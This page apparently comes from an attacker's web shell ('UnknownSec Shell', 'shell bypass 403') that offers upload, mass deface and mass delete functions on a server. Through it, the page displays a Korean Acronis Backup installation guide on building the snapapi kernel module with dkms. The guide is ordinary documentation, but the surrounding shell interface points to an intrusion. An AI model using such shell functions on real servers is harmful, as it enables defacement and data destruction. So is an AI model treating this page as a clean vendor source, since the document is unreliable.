shell bypass 403
UnknownSec Shell
:
/
lib
/
Acronis
/
BackupAndRecovery
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
HOWTO.INSTALL.ko
목차 소개 I. 커널 모듈 빌드 및 설치 II. FAQ: 질문: .i686 또는 .x86_64 설치 파일은 어떻게 실행합니까? 질문: .i686 설치 파일이 x86_64 아키텍처와 호환됩니까? 질문: IA64 시스템에 이 제품을 설치할 수 있습니까? 질문: 설정 프로그램이 /lib/modules/<MY_KERNEL>/build 또는 /lib/modules/<MY_KERNEL>/source 디렉토리에서 커널 소스 파일을 찾을 수 없습니다. 어떻게 해야 합니까? 소개 어떤 경우에는 설치 프로그램이 필수 커널 모듈을 컴파일할 수 없거나 제품에 필요한 실행 환경을 준비할 수 없습니다. 이러한 경우 일반적으로 설정 프로그램이 이러한 문제에 대해 알리고 사용자를 이 파일로 안내합니다. 이 파일의 섹션 I에서는 커널 모듈을 빌드 및 설치하는 방법에 대해 설명합니다. 사용자 정의 커널이 있거나 커널 소스 파일의 위치가 표준 위치가 아닌 경우 이 섹션을 읽어야 할 수 있습니다. I. 커널 모듈 빌드 및 설치 이 제품은 커널 2.4.20 ~ 4.4 및 glibc 2.3.2 이상이 설치된 다음 Linux 배포판에 설치할 수 있습니다. (a) Red Hat Enterprise Linux 4.x, 5.x, 6.x, 7.0, 7.1 및 7.2 (b) Ubuntu 9.10, 10.04, 10.10, 11.04, 11.10, 12.04, 12.10, 13.04, 13.10, 14.04, 14.10, 15.04 및 15.10 (c) Fedora 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22 및 23 (d) SUSE Linux Enterprise Server 10 및 11 SUSE Linux Enterprise Server 12 – 파일 시스템에서 지원됨(Btrfs 제외) (e) Debian 4, 5, 6, 7.0, 7.2, 7.4, 7.5, 7.6, 7.7, 8.0, 8.1, 8.2 및 8.3 (f) CentOS 5.x, 6.x, 7 및 7.1 (g) Oracle Linux 5.x, 6.x, 7.0, 7.1 및 7.2 -- Unbreakable Enterprise Kernel 및 Red Hat Compatible Kernel 둘 다 (h) CloudLinux 6.x (i) ClearOS 5.x, 6.x, 7 및 7.1 이러한 배포판에서 일반적으로 설치 프로그램은 제품 작동에 필요한 커널 모듈을 자동으로 컴파일합니다. 설치 프로그램이 커널 모듈을 컴파일할 수 없는 경우 다음과 같이 수동으로 컴파일해야 합니다. 커널 소스 파일, 적절한 구성 파일 및 커널 빌드에 필요한 모든 패키지를 설치해야 할 수 있습니다. 이러한 패키지에는 “gcc”, “make” 및 “Kernel-devel”이 포함됩니다. 커널 소스 파일을 설치하는 경우 필수 패키지에 대한 메시지가 표시됩니다. 일반적으로, 다음과 같이 "dkms" 명령을 실행하여 "snapapi" 커널 모듈을 빌드 및 실행할 수 있습니다. # dkms build -m <MODULE_NAME> -v <MODULE_VERSION> \ --config <CONFIG_FILE> --arch <KERNEL_ARCH> \ --kernelsourcedir <PATH_TO_KERNEL_SOURCES> # dkms install -m <MODULE_NAME> -v <MODULE_VERSION> \ --config <CONFIG_FILE> --arch <KERNEL_ARCH> \ --kernelsourcedir <PATH_TO_KERNEL_SOURCES> 이러한 명령에서는 다음과 같아야 합니다. <MODULE_NAME>은 다음 중 하나여야 합니다. (a) 2.4.x 커널의 경우: snapapi (b) 2.6.x 및 3.x 커널의 경우: snapapi26 <MODULE_VERSION>은 "snapapi" 모듈 버전입니다. 다음 명령을 실행하여 버전을 확인할 수 있습니다. # ls /usr/src | grep snapapi 예를 들어 디렉토리 이름이 snapapi26-0.7.64이면 <MODULE_VERSION>의 값은 다음과 같습니다. 0.7.64 <CONFIG_FILE>은 커널 구성 파일의 이름입니다. 이 파일은 일반적으로 /boot 디렉토리에 있습니다. 전체 파일 이름을 지정합니다(예: /boot/config-2.6.31-14-generic) <KERNEL_ARCH>는 커널 아키텍처의 유형입니다 (예: i686). 다음 명령을 실행하여 <KERNEL_ARCH>의 값을 찾을 수 있습니다. (a) RPM 기반 배포판의 경우(예: Red Hat Enterprise Linux, CentOS 또는 Fedora): # rpm -q --queryformat "%{ARCH}\n" kernel (b) RPM 기반이 아닌 배포판의 경우(예: Ubuntu): # uname -m dkms 유틸리티 사용에 대한 자세한 내용은 dkms man 페이지를 참조하십시오. 커널 모듈을 성공적으로 빌드 및 설치한 후 제품을 실행해 기능을 확인할 수 있습니다. 적절한 커널 모듈이 자동으로 로드됩니다. II. FAQ 질문: .i686 또는 .x86_64 설치 파일은 어떻게 실행합니까? 답변: 이러한 설치 파일은 표준 이진 파일입니다. 설치를 시작하려면 다음 명령을 실행합니다. # chmod +x <FILE_NAME> # ./<FILE_NAME> 여기서 <FILE_NAME>은 .i686 또는 .x86_64 설치 파일의 이름입니다. 설치 프로그램은 RPM 패키지 관리자(RPM)를 사용합니다. RPM을 사용하지 않는 시스템(예: Ubuntu 시스템)에 이 프로그램을 설치하기 전에 RPM을 설치합니다. 예를 들어 루트 사용자로 다음 명령을 실행합니다. #apt-get install -y rpm 질문: .i686 설치 파일이 x86_64 아키텍처와 호환됩니까? 답변: 아니요, .i686 설치 파일 대신에 해당하는 .x86_64 설치 파일을 다운로드하여 설치해야 합니다. 설치 절차는 동일합니다. 질문: IA64 시스템에 이 제품을 설치할 수 있습니까? 답변: 아니요, 이 제품에서는 이러한 아키텍처를 지원하지 않습니다. 질문: 설정 프로그램이 /lib/modules/<MY_KERNEL>/build 또는 /lib/modules/<MY_KERNEL>/source 디렉토리에서 커널 소스 파일을 찾을 수 없습니다. 어떻게 해야 합니까? 답변: 일반적으로 이는 커널 버전에 해당하는 커널 소스 파일을 설치해야 함을 의미합니다. 다음 명령은 Debian 및 Ubuntu에서 커널 소스 파일을 설치합니다. $ sudo apt-get update $ sudo apt-get install linux-headers-`uname -r` $ sudo apt-get install linux-image-`uname -r` 다음 명령은 Red Hat Enterprise Linux 및 Fedora에서 커널 소스 파일을 설치합니다. # yum install kernel-devel-`uname -r`
© 2024 UnknownSec